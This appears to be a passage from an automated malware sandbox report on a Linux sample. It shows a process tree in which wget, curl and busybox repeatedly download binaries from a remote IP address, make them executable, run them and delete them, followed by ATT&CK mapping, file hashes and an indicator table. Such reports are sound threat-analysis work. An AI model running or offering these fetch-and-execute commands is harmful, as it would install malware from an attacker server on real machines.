  2⤵
  PID:960
- /usr/bin/wget
  wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:963
- /bin/chmod
  chmod 777 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  ./71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:966
- /usr/bin/wget
  wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:969
- /bin/chmod
  chmod 777 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  ./0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:972
- /usr/bin/wget
  wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:975
- /bin/chmod
  chmod 777 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  ./2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:978
- /usr/bin/wget
  wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:979
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:981
- /bin/chmod
  chmod 777 VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  ./VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk

Path /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	741	YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	749	MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	755	GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	771	9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	793	m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	817	SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	824	Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	832	Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	856	wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	872	nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	878	71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	887	0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	893	2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	899	VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	905	GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	911	9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	917	YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	923	MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	929	Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	935	wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	941	nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	947	m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	953	SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	959	Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	965	71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	971	0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	977	2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	983	VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO